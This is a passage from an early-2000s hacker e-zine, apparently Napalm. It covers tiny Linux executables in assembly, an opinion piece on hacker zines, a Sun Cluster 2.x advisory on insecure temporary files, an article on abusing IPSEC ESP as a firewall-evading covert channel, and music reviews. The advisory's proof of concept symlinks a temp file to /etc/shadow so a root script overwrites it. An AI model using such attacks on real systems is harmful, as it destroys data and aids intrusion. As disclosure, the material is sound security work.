  770. can read in data, output data, open files, etc. Well, in Linux you have
  771. syscalls. The basic idea for Linux syscalls is you put the numeric
  772. identifier of the syscall you want to use in your eax register, then you
  773. put any other parameters in ebx, ecx, edx, esi, edi, in that order. The
  774. return value is put into eax. This is for system calls with less than 6
  775. arguments. When you are dealing with a syscall that has 6 or more
  776. parameters, things get a little bit trickier. You put the numeric
  777. identifier of the syscall in eax again, then you place the other
  778. parameters in memory with ebx pointing to the beginning. If you decide to
  779. use the stack to hold your variables you will need to push them in the
  780. opposite order (like the way C functions work). A great list of syscalls
  781. can be found at http://home.snafu.de/phpr/lhpsysc0.html
  782.  
  783.   How do you know what to put in each variable? If you look at the site
  784. just mentioned, you see what the number means. Just type man 2 <name> to
  785. look at the man page, then just follow the parameters. For example, if we
  786. wanted to write something, we will put 4 into eax, and look at the
  787. parameters in the man page:
  788.  
  789. ssize_t write(int fd, const void *buf, size_t count);
  790.  
  791.   We put 4 into eax to tell the computer we want to write. We then put 1
  792. into ebx. Remember the order things going in: ebx, ecx, edx, esi, edi. So
  793. that means the value for fd goes into ebx, and when using write, the value
  794. of 1 sends the output to the console. We then put the variable for the
  795. message into ecx, and the length of the message in edx. The number of
  796. characters that were printed out will be placed into eax because that is
  797. where the return value goes.
  798.  
  799.   That should be enough information on syscalls for the moment - back to
  800. making our executable really small. The next flag for gcc we will use is
  801. called -nostdlib. This flag doesn't link against your standard libraries
  802. and because of this things like printf won't be recognized by gcc. We
  803. will need to replace printf with a syscall. The first example will have a
  804. hardcoded size for our output string and the next will use a quick
  805. function that counts how many characters are in our string to be output.
  806. Here is what the code looks like in ASM:
  807.  
  808. .section    .rodata
  809. .LC0:
  810.     .string    "Hello World\n\0"
  811. len:
  812.       .long  . - .LC0
  813. .text
  814.     .align 4
  815. .globl _start
  816. _start:
  817.     movl $4, %eax
  818.     movl $1, %ebx
  819.     leal .LC0, %ecx
  820.     movl len, %edx
  821.     int $0x80
  822.     movl $1, %eax
  823.     int $0x80
  824.     .align 4
  825.  
  826. Note: I cut all the extra stuff gcc outputs because it doesn't do anything
  827. important. This code is also unoptimized.
  828.  
  829.   First, I added the len: .long . - .LC0 part. This line simply makes len
  830. a long variable which holds the length the our string, which is .LC0.
  831. Next, I got rid of all that stack stuff, messing with ebp and such, and
  832. of course the 'call printf'. To go through this line by line:
  833.  
  834.   The first movl puts 4 into eax, which is the syscall for writing. Next
  835. 1 is put into ebx, which is the 'fd' variable in write(). 1 stands for
  836. STDOUT, which is out to the console. .LC0, our string is loaded into ecx
  837. then its length is put into edx and our interrupt is called. Then 1 is
  838. put into eax, which stands for exit and our interrupt is called once
  839. again. Pretty straightforward.
  840.  
  841.   Here is a remake of the above program. This program is the same except
  842. for the strlen call. In most cases you won't be able to hard code the
  843. length of your string. So strlen just finds out how long the string is
  844. and returns it in eax (standard syscall function calling system).
  845.  
  846. .section        .rodata
  847. .LC0:
  848.         .string "Hello World\n\0"
  849. .text
  850.         .align 4
  851. .globl _start
  852. _start:
  853.         movl $1, %ebx
  854.         leal .LC0, %ecx
  855.     movl %ecx, %eax
  856.     call strlen
  857.         movl %eax, %edx
  858.     movl $4, %eax
  859.         int $0x80
  860.         movl $1, %eax
  861.         int $0x80
  862.         .align 4
  863.  
  864. .globl strlen
  865.         .type    strlen,@function
  866. strlen:
  867.        pushl %ebx
  868.        xor %ebx, %ebx
  869.        pushl %edx
  870.        xor %edx, %edx
  871. count_chars:
  872.        movb (%eax,%ebx,$1), %dl
  873.        testb %dl, %dl
  874.        jz done
  875.        incl %ebx
  876.        jmp count_chars
  877. done:
  878.        movl %ebx, %eax
  879.        popl %edx
  880.        popl %ebx
  881.        ret
  882.  
  883. To compile this,
  884.  
  885. $ gcc -O3 -s -nostartfiles -nostdlib -o <outputname> <inpufilename>
  886.  
  887. I put the -O3 because I do not trust any optimization techniques I may or
  888. may not have.
  889.  
  890. $ wc -c test
  891.    480 test
  892.  
  893. Wow! We started at 11666 bytes and are down to 480. I find that
  894. impressive.
  895.  
  896. [ Then again, Orbitz is easily impressed. ;) {kynik} ]
  897.  
  898.   The next thing you would have to do to make your executable even smaller
  899. is learn more about the ELF format. To see how that is done look at
  900.  
  901. http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
  902.  
  903. That site is where I learned everything I wanted to know about making
  904. executables small.
  905.  
  906. For comments, suggestions,, and even complaints you can reach me at
  907. orbitz@firest0rm.org
  908.  
  909. _________________________________________________________________
  910. --------------------------------------------------------- - kynik
  911. [=] 0x05: Hacker 'Zines and Information Security Magazine
  912.  
  913. The December issue of Information Security Magazine posed the following
  914. question to its readers in its "Talk Back" section:
  915.  
  916. "Are hacker zines (2600, Phrack) and Web sites (HNN, attrition.org,
  917. Rootshell) worthwhile educational resources for infosec professionals, or
  918. do they ultimately cause more harm than good?"
  919.  
  920. Here's the reply I sent, since I obviously have a strong opinion on the
  921. subject:
  922.  
  923.  
  924. I was somewhat shocked by this question, as I had always considered the
  925. high-profile 'hacker' sites (HNN, Packetstorm) as valuable tools, and
  926. sites I make it a point to visit daily. It just seemed obvious that
  927. anyone would want a different perspective on the aspects of their job, as
  928. well as potentially cutting-edge information. Also keep in mind that many
  929. of these 'hacker' sites are owned by security-oriented companies, and not
  930. necessarily John Q Hacker living in the garage. The material there is
  931. from similar infosec professionals you know and love during the day, but
  932. perhaps without an editor or boss peeking over their shoulders when
  933. deadlines approach. Some amazing work has come out of solo at-home
  934. innovation by regular 9-to-5ers. Believe me, I've seen it. I think the
  935. problem that many 'professionals' may have is that the tone on many of
  936. these sites are not what they're used to in 'regular' print magazines,
  937. without ads and without most of the censorship.
  938.  
  939. I run my own security-oriented zine called Napalm (napalm.firest0rm.org)
  940. and unlike many other zines out there, try to keep the tone more
  941. professional, with actual grammar and spelling checks, and little or no
  942. profanity or childish 'shout outs'. Sure, we try to take a humorous
  943. approach sometimes, but I think more people need that than another dry
  944. article on firewalls. We also give the article contributors an
  945. opportunity to comment on other articles in the same issue, to pose
  946. questions, comments, or clarifications to the material. There's very
  947. little hacker-specific material in the zine that might scare away
  948. non-'hackers'. We've even been referred to by the folks at OpenBSD for
  949. anybody looking to work with IPSEC and that particular OS.
  950.  
  951. Separating the childish/politically slanted element from many of these
  952. zines and websites can be annoying and some may claim that it's not worth
  953. it. I ask you to simply read the material that is out there, ignoring the
  954. chattering from the peanut gallery and make a judgement on a case-by-case
  955. basis. Phrack, Napalm, and HNN are each their own entity, and have their
  956. own strengths and weaknesses (or corporate backers, as the case may be).
  957. Shutting your mind to a source of information just doesn't make sense to
  958. me, especially in a field where information and proactivity is so
  959. essential.
  960.  
  961.  
  962. Kynik
  963. editor, Napalm e-zine
  964. http://napalm.firest0rm.org/
  965.  
  966. _________________________________________________________
  967. ------------------------------------------- - Thomas Icom
  968. [=] 0x06: Press Release: Cybertech Magazine
  969.  
  970. FOR IMMEDIATE RELEASE:
  971. Contact: Thomas Icom, editor <ticom@iirg.org>
  972. Subject: Cybertech is back!
  973.  
  974. Cybertech: The Cyberpunk Technical Journal (since 1990) is now back in
  975. full swing! Cybertech, famous for containing both high tech and low
  976. tech information, has received rave reviews from well-known periodicals
  977. such as Full Disclosure, Factsheet Five, Wired, and Iron Feather
  978. Journal. Jerod Pore from Wired/Factsheet Five called Cybertech "2600
  979. recombined with The Poor Man's James Bond...*the* sourcezine for
  980. survivalist-hackers." (FF5,#57, Wired 2.01).
  981.  
  982. Cybertech features old-school writers such as Brian Oblivion (formerly
  983. of the l0pht, now doing wireless network experimentation at
  984. guerilla.net), Bootleg (former editor of the 1980s hacking zine "The
  985. Bootlegger"), and the members of The International Information
  986. Retreival Guild (publishers of Phantasy hacking/survival e-zine at
  987. http://www.iirg.org/phantasy.html ).
  988.  
  989. Samples are $3. Subscriptions are $12/year (published quarterly) sent
  990. to:
  991.  
  992. Cybertech
  993. P.O. Box 641
  994. Marion, CT 06444
  995.  
  996. For more info, and free samples of articles from back issues visit our
  997. web site at http://www.iirg.org/~ticom/
  998.  
  999. _______________________________________________
  1000. --------------------------------------- - echo8
  1001. [=] 0x07: More Holes in Sun Cluster 2.x
  1002.  
  1003.   I never intended to write about Sun Cluster more than once, but as I
  1004. continued messing with product, I continued to find more vulnerability.
  1005. Readers should draw their own conclusions based upon the security
  1006. requirements of their installations, but I'd personally think twice
  1007. before paying a lot of money for this software...
  1008.  
  1009. Summary
  1010. -------
  1011.  
  1012.   Several Sun Cluster components create and manipulate temporary files in
  1013. insecure ways. Some occurences of this problem can lead to a local denial
  1014. of service, as they can allow local users to overwrite arbitrary files.
  1015.  
  1016. Specifics
  1017. ---------
  1018.  
  1019.   Several Sun Cluster application programs create files in a
  1020. world-writeable directory (/tmp) with predictable filenames without
  1021. checking first for the existence of the target file, or whether or not
  1022. the target is a symbolic link. This behavior can trivially be exploited
  1023. by local users in order to deny service by overwriting arbitrary files
  1024. (these utilities all run as root). Some examples:
  1025.  
  1026. From nfs_fix_sharetab:
  1027.  
  1028. awk '(NF < 4 )' $fname > /tmp/awk.output
  1029. log_info "SUNWcluster.hanfs.3050" "File $fname contains some garbage
  1030. lines, deleting them."
  1031. awk '(NF >= 4)' $fname > $newfname
  1032. cp $newfname $fname
  1033. rm -f /tmp/awk.output $newfname
  1034. sync >/dev/null 2>&1 &
  1035. exit 0
  1036.  
  1037.   As /tmp is world-writeable, any local user can symbolically link
  1038. /tmp/awk.output to any file they wish to overwrite. When nfs_fix_sharetab
  1039. runs, the target file will be destroyed.
  1040.  
  1041. lookuphost has the same problem:
  1042.  
  1043. egrep '^[^#]*[   ]'${hostname}'[         ]|^[^#]*[       ]'${hostname}'$' \
  1044.  < /etc/hosts > ${tmpdir}/egrep.host 2> /dev/null
  1045. if [[ $? -eq 0 && -s ${tmpdir}/egrep.host ]]; then
  1046.   let lines="`wc -l < ${tmpdir}/egrep.host`"
  1047.   if (( lines == 1 )); then
  1048.     awk '{print $1}' < ${tmpdir}/egrep.host
  1049.   elif (( lines > 1 )); then
  1050.     # More than one occurrence in /etc/hosts.
  1051.     # Use first entry, and warn the administrator
  1052.     answer=$(awk '{print $1; exit}' < ${tmpdir}/egrep.host)
  1053.     log_info "${pre}.3010" "/etc/hosts has multiple entries for ${hostname}"
  1054.     print ${answer}
  1055.     /bin/rm -f ${tmpdir}/egrep.host
  1056.     exit 2
  1057.   fi
  1058.  
  1059. This problem also occurs several times in scconf itself. One example:
  1060.  
  1061. if [ $? -ne 0 ]; then
  1062.     LC_ALL=C /usr/sbin/vxassist -g ${dg} -U fsgen make ${dg}-stat 2m \
  1063.      > /dev/null 2> /tmp/vxassist.out
  1064.     if [ $? -ne 0 ]; then
  1065.       LC_ALL=C
  1066.       lmsg="`gettext \
  1067.         'vxassist failed to create %s-stat volume on %s diskgroup'`"
  1068.       printf "${lmsg}\n" "${dg}" "${dg}"
  1069.       if [ -f /tmp/vxassist.out ]; then
  1070.         /bin/grep "Cannot allocate space" /tmp/vxassist.out > /dev/null
  1071.         if [ $? -eq 0 ]; then
  1072.           lmsg="`gettext '\n\
  1073.         Unable to allocate space to create mirrored volume for\n\
  1074.         administrative file system in diskgroup %s. 4MB of free disk\n\
  1075.         space needs to be present in %s for this purpose to configure\n\
  1076.         for HA-NFS.'`"
  1077.           printf "${lmsg}\n" "${dg}" "${dg}"
  1078.         else
  1079.           /bin/cat /tmp/vxassist.out
  1080.         fi
  1081.         /bin/rm -f /tmp/vxassist.out
  1082.     fi
  1083.       return 1
  1084.     else
  1085. ...
  1086.  
  1087. Finally, scinstall has similar issues. An example:
  1088.  
  1089.  if [ -z "${tokenCK}" ]; then
  1090.                         if (( VERBOSE == 1 )); then
  1091.                             print "Adding the DS_SUN format to the ccd..."
  1092.                         fi
  1093.                         # add the DS_SUN format to the ccd.database file
  1094.                         CCDDSSUNFILE=/tmp/dssun.ccd
  1095.                         /bin/cat >> ${CCDDSSUNFILE} << EOF
  1096.  
  1097. ...
  1098.  
  1099. There are MANY such problems to be found in the various Sun Cluster shell
  1100. scripts.
  1101.  
  1102.   It's also the case that there are MANY instances in which the temporary
  1103. file is not specifically named, but has a name which will be easily
  1104. predictable (in the format /tmp/filename.$$). Attacking these files would
  1105. be more difficult as an attacker would have to successfully guess the PID
  1106. that will be used by the offending code (several examples exist that prove
  1107. that this can be done), and such an attacker would have to have some
  1108. reasonable idea regarding when the superuser will invoke the utilities in
  1109. question. Numerous Sun Cluster utilities have this problem; I have not
  1110. listed them all here.
  1111.  
  1112.   I have NOT attempted any sort of comprehensive audit of Sun Cluster. In
  1113. this case, a recent thread on Bugtraq highlighted the potential problems
  1114. caused by poor handling of temporary files. I was really looking
  1115. specifically for that class of problem. I also lack access to Sun Cluster
  1116. source. All of these holes were found just by reading through the code
  1117. for the components which are distributed as shell scripts.
  1118.  
  1119. Proof of Concept
  1120. ----------------
  1121.  
  1122. A sample exploit. To use lookuphost to severely damage a system, an
  1123. unprivileged user could do the following:
  1124.  
  1125. $ id
  1126. uid=1997(foo) gid=25(programmers)
  1127. $ ln -s /etc/shadow /usr/tmp/egrep.host
  1128. $ ls -alt /usr/tmp/egrep.host
  1129. lrwxrwxrwx 1 foo programmers 11 Dec 22 11:12 /usr/tmp/egrep.host -> /etc/shadow
  1130. $
  1131.  
  1132. ... wait for lookuphost to run ...
  1133.  
  1134. $ cmp /etc/shadow /etc/hosts
  1135. $
  1136.  
  1137. (lookuphost uses its temporary file to store a subset of /etc/hosts,
  1138. which is why, in this example, that's what ends up in /etc/shadow)
  1139.  
  1140. Workaround
  1141. ----------
  1142.  
  1143. None suggested. No patches are currently available.
  1144.  
  1145. Vulnerable Versions
  1146. -------------------
  1147.  
  1148. This has been confirmed on Solaris 2.6, running Sun Cluster 2.1 and 2.2.
  1149. Any OS level running Sun Cluster 2.x is most likely vulnerable.
  1150.  
  1151. Vendor Notification
  1152. -------------------
  1153.  
  1154. The vendor was notifed on 12/22/2000.
  1155.  
  1156. Address comments to echo8@gh0st.net.
  1157.  
  1158. _________________________________________________________
  1159. -------------------------------------------------- - ajax
  1160. [=] 0x08: Masquerading as IPSEC for Fun and Profit
  1161.  
  1162. (or "RFC" is Just a Polite Word for "Covert Channel")
  1163.  
  1164. -=:[ .the.backdrop.
  1165.  
  1166.   IPSEC is not a protocol. IPSEC is a big towering ugly wump of
  1167. protocols, all residing at verious levels in the ISO model. Among them
  1168. are ESP and AH, which kinda live in the transport layer; and ISAKMP,
  1169. Photuris, SKIP, DNSSEC, and any other key-exchange protocols, which are
  1170. themselves finished (hah!) applications, but which get invoked at the
  1171. session layer and enable functionality at the transport layer. Kinda.
  1172. Suffice to say, the design as it now stands is big and ugly.
  1173.  
  1174. -=:[ .the.scene.
  1175.  
  1176.   ESP and AH, the actual encrypted and/or authenticated transport
  1177. protocols, are however themselves quite simple. An ESP packet looks like:
  1178.  
  1179. SPI (32-bit number) [1]
  1180. Sequence number (32-bit number)
  1181. Encrypted Payload (variable) containing:
  1182.   Next Packet (variable)
  1183.   Padding (0-255 bytes)
  1184.   Pad Length (8-bit number)
  1185.   Next Header (8-bit number)
  1186. Authentication Data (variable and optional)
  1187.  
  1188. An AH packet looks like:
  1189.  
  1190. Next Header (8-bit number)
  1191. Payload Length (8-bit number)
  1192. Reserved (16 bits of zeros. Don't ask.)
  1193. SPI (32-bit number)
  1194. Sequence number (32-bit number)
  1195. Authentication Data (variable)
  1196. (and then the auth'd packet)
  1197.  
  1198.   This is really all self-explanatory stuff, except maybe for the
  1199. sequence number. It must be present, it must start at 1 for each
  1200. different SPI, and (if the two hosts involved so agree) before the
  1201. 2^32'nd packet transmitted with that SPI, something has to establish a
  1202. new SA for the two hosts to use. It thus enables anti-replay protection.
  1203. Now why it has to be present in _all_ packets, and why it has to start
  1204. from one instead of some random value that could be decided upon at SA
  1205. negotiation time, is unclear, but it won't give us much trouble.
  1206.  
  1207. -=:[ .the.crime.
  1208.  
  1209. It turns out, this gives us a big shiny covert channel.
  1210.  
  1211.   "Covert channel" sounds scary, conjuring images of spies and secret
  1212. missions and the government will deny all knowledge and so forth. In
  1213. reality, it's just a message being extracted from a data sequence in
  1214. something other than the expected way.  httptunnel is a covert channel.
  1215. Loki is a covert channel. Steganography is a covert channel. The
  1216. abomination that is MS's SOAP is a covert channel.
  1217.  
  1218.   Covert channels are the kind of things that firewall vendors hate,
  1219. because they mean you have to do stateful inspection on the data stream
  1220. to see if it's behaving like a good non-covert channel, and that's
  1221. _hard_, and even then you aren't sure. Suppose I set up my firewall to
  1222. only allow port 80 inbound; well, if my webserver gets compromised, I
  1223. could just send a magic header field to it and have it spawn a shell for
  1224. me, which would a) not be the way HTTP is expected to act and b) defeat
  1225. the purpose of filtering out telnet traffic at the firewall.
  1226.  
  1227.   I think firewalls are dumb, because they promote laziness and make it
  1228. okay to "get away with" otherwise insecure things inside the firewall.
  1229. So let's play, shall we?
  1230.  
  1231.   Let's say we have control of some box inside the firewall, and we can
  1232. get ESP traffic to it. Well, "ESP traffic" really means "IP packets with
  1233. the next header field set to 50". Well, now, if we were a firewall, what
  1234. fields does ESP give us that we could filter? We can't filter based on
  1235. anything in the encrypted payload, because it's (ostensibly) encrypted
  1236. and thus (to the firewall) gibberish. We can't filter based on the
  1237. authentication data, because we a) are not guaranteed that it be present,
  1238. b) don't know the hash algorithm being used, and c) don't know the key
  1239. used with the hash algorithm. We also can't expect anything about the
  1240. size or alignedness of the packet.
  1241.  
  1242.   We're left with SPI and sequence number. The SPI is supposed to be a
  1243. random number for each SA the two hosts negotiate, so we can't expect it
  1244. to be predictable. However, for each SPI, the sequence number has to
  1245. start at 1, thank you RFC2406. Easy enough. Let's build a packet:
  1246.  
  1247. [ IP header | next = 50 ]
  1248. [ random number ]
  1249. [ 1 ]
  1250. [ our payload ]
  1251.  
  1252.   That's it. If the firewall lets ESP through to the destination host at
  1253. all, then we have acheived an unfilterable covert channel.
  1254.  
  1255. -=:[ .the.tension.
  1256.  
  1257.   What's this mean? Well, remember, covert channels require some extra
  1258. code on both ends, so we're assuming something compromised inside the
  1259. firewall. I now have an unfiltered data stream to a compromised host. I
  1260. could sniff your network, use the compromised machine as a bounce point
  1261. to other places in your network, any number of sneaky things. End-to-end
  1262. ESP thus requires secure ends. If you're doing net-to-net ESP, you
  1263. probably don't want to allow ESP traffic to or from anything but the ESP
  1264. gateway.
  1265.  
  1266.   Is this a new problem? No. Clearly. But it reinforces the case for not
  1267. relying on firewalls for your security. It's impossible to secure a
  1268. network without actually securing the machines on it.
  1269.  
  1270. -=:[ .the.revelation.
  1271.  
  1272.   You know what'd be really cool? A kernel module and preloadable .so
  1273. combo that would do this for you automatically. It's a real shame that I
  1274. don't have it done yet. But you'll live. Check in on http://firest0rm.org/
  1275. for a release notice.
  1276.  
  1277. [ Real Soon Now, I hope. I'm interested {kynik} ]
  1278.  
  1279. -=:[ .authors.notes.
  1280.  
  1281. [1] - "SPI" stands for security parameters index. The kernel maintains a
  1282. database of mappings from SPI numbers to their associated encryption and
  1283. authentication algorithms and keying material for each.
  1284.  
  1285. [2] - "SA" stands for security association, and "an SA" means "an SPI and
  1286. associated settings".
  1287.  
  1288. - (c) 2001 ajax <ajax@firest0rm.org>
  1289.  
  1290. ___________________________________________
  1291. ----------------------- - kynik, ajax, gwen
  1292. [=] 0x09: Music Reviews
  1293.  
  1294. Though I receieved several offers to assist in doing music reviews, I only
  1295. actually received one completed review, which you will find below with my
  1296. own and ajax's. From now on, this section will be my place (and any of
  1297. the other core contributors) to review anything I feel like. So, instead
  1298. of you doing any reviews, send me suggestions for things to review, and
  1299. I'll do 5 or 6 of them per issue.
  1300.  
  1301. Now, down to brass tacks. The first song is from a band I'm friends with
  1302. called Condition 1. You can find them at:
  1303.  
  1304. http://www.condition1.com/
  1305.  
  1306. The song is "Never Again":
  1307.  
  1308. gwen's Review
  1309. ---------------
  1310. Originality - 2.0
  1311. Talent      - 3.5
  1312. Production  - 4.0
  1313. I Like It   - 2.0
  1314.  
  1315.   Metal's just not my thing - but this seems to be a pretty decent
  1316. example of it's genre. Snarling guitar, straightforward drums, with an
  1317. odd tinkle of cowbells. The singer's surprisingly melodic for screaming
  1318. metal - not quite howls of agony. Suprisingly robust, with undertones of
  1319. melody. Not destined for my cellar, but sure to please the palettes of
  1320. some.
  1321.  
  1322. kynik's Review
  1323. ----------------
  1324. Originality - 2.5
  1325. Talent      - 4.0
  1326. Production  - 3.5
  1327. I Like It   - 4.0
  1328.  
  1329. Oh, what Metallica should have been. If Metallica hadn't got sucked into
  1330. the pop music market, this is probablt what they would have sounded like.
  1331. Aggressive vocals, yet still melodic; thundering bass; kick-out-your-teeth
  1332. guitar; and drums that remind you that all Lars plays anymore is slow
  1333. 4-beat crap. Yes, I've seen these guys many times, and they do the odd
  1334. Metallica covers, but they are certainly their own band. In this song, for
  1335. example, the 7-string guitar and the 5-string (custom!) bass really shine
  1336. though. Good luck to them on getting their tour van fixed!
  1337.  
  1338. ajax's Review
  1339. ----------------
  1340. Originality - 3.0
  1341. Talent      - 4.0
  1342. Production  - 3.0
  1343. I Like It   - 3.5
  1344.  
  1345. Pretty much straight up metal here. Not bad, not bad at all, but you've
  1346. heard it. As with most metal bands, the drummer and bassist are crucial,
  1347. and Condition 1 has a good pair. The singer actually has some melody
  1348. here, which is good, but the delay on his voice maybe echoes a little
  1349. loud. Actually, no, I take that back. The guitarist is pretty generic,
  1350. though, which is a shame; with either a little better lead line or a
  1351. little better production he could sound really good. But it's a fun hook
  1352. and a good backbeat, something to blast out the car stereo in picket-fence
  1353. neighborhoods.
  1354.  
  1355.  
  1356. The next song is from a band called Man(i)kin. You can find them at:
  1357.  
  1358. http://www.manikin.force9.co.uk/
  1359.  
  1360. The song is called "Deity":
  1361.  
  1362. ajax's Review
  1363. ----------------
  1364. Originality - 3.5
  1365. Talent      - 3.5
  1366. Production  - 2.0
  1367. I Like It   - 3.5
  1368.  
  1369. Okay. I know the ridiculously heavy distortion on the instruments and the
  1370. vocals is intentional. I'm aware of industrial. But, no. There a right
  1371. way and a wrong way to do distortion, especially on vocals, and this was
  1372. the wrong way. It actually sounds more like they hooked up a white noise
  1373. generator to a talkbox. But at least the drumkit and the synth line are
  1374. well programmed, if nothing earth-shattering. I could see this song being
  1375. an excellent candidate for a remix, maybe a nice breakbeat under it
  1376. instead of the idiot-house kick drum beat. If industrial's your thing,
  1377. you'll like this, but if it's not, it won't convert you.
  1378.  
  1379. gwen's Review
  1380. ----------------
  1381. Originality - 2.0
  1382. Talent      - 2.9
  1383. Production  - 2.0
  1384. I Like It   - 2.5
  1385.  
  1386. I liked this song a lot better the first time I heard it. On repeat, it
  1387. sounds like the Trent Reznor angst generation. The hiss leaves me
  1388. thinking of bootleg audio. To give the lead singer credit, he's got
  1389. excellent enunciation - although that doesn't entirely fit the style of
  1390. the song. All in all - I'd dance to it - don't know that I'd keep it.
  1391.  
  1392. kynik's Review
  1393. ---------------
  1394. Originality - 2.0
  1395. Talent      - 1.5
  1396. Production  - 3.0
  1397. I Like It   - 1.5
  1398.  
  1399. Unfortunately, this sounds like oh-so-many other 'goth' or 'industrial'
  1400. bands out there. A huge pet peeve of mine when it comes to music is
  1401. overused vocal effects. Being a vocalist, it irks me to no end when you
  1402. can't really tell what the vocalist's voice sounds like. The sound is
  1403. probably the redeeming factor for the song, since it was put together
  1404. quite well, despite the bland not-much-bass 'thump-thump' this consists
  1405. of.
  1406.  
  1407. Overall Rating, "Never Again"
  1408. -------------------------
  1409. Originality - 2.50
  1410. Talent      - 3.83
  1411. Production  - 3.50
  1412. I Like It   - 3.17
  1413. Total       - 13.00/20.00 (65.00%)
  1414.  
  1415. Overall Rating, "Deity"
  1416. -------------------------
  1417. Originality - 2.50
  1418. Talent      - 2.63
  1419. Production  - 2.33
  1420. I Like It   - 2.50
  1421. Total       - 9.96/20.00 (49.80%)
  1422.  
  1423. _________________
  1424. -----------------
  1425. [=] 0x0A: Credits
  1426.  
  1427.                Editor:  Kynik    <kynik@firest0rm.org>
  1428.             Co-Editor:  ajax     <ajax@firest0rm.org>
  1429. Article Contributions:  ticom    <ticom@iirg.org>
  1430.                         _azure   <azure@gh0st.net>
  1431.                         orbitz   <orbitz@firest0rm.org>
  1432.                         echo8    <echo8@gh0st.net>
  1433.         Music Reviews:  gwen     <gwen@reptiles.org>
  1434.  
  1435. To subscribe to this 'zine:
  1436.   email napalm@firest0rm.org with a subject of SUBSCRIBE
  1437.  
  1438. To unsubscribe:
  1439.   email napalm@firest0rm.org with a subject of UNSUBSCRIBE
  1440.  
  1441. Or find us online at:
  1442.   http://napalm.firest0rm.org/
  1443.  
  1444. Submissions, questions, comments, and constructive chaos may also be
  1445. directed to kynik@firest0rm.org or any of the contributors
  1446.  
  1447. .nx! - eof
  1448.  
  1449.  
  1450.  
  1451.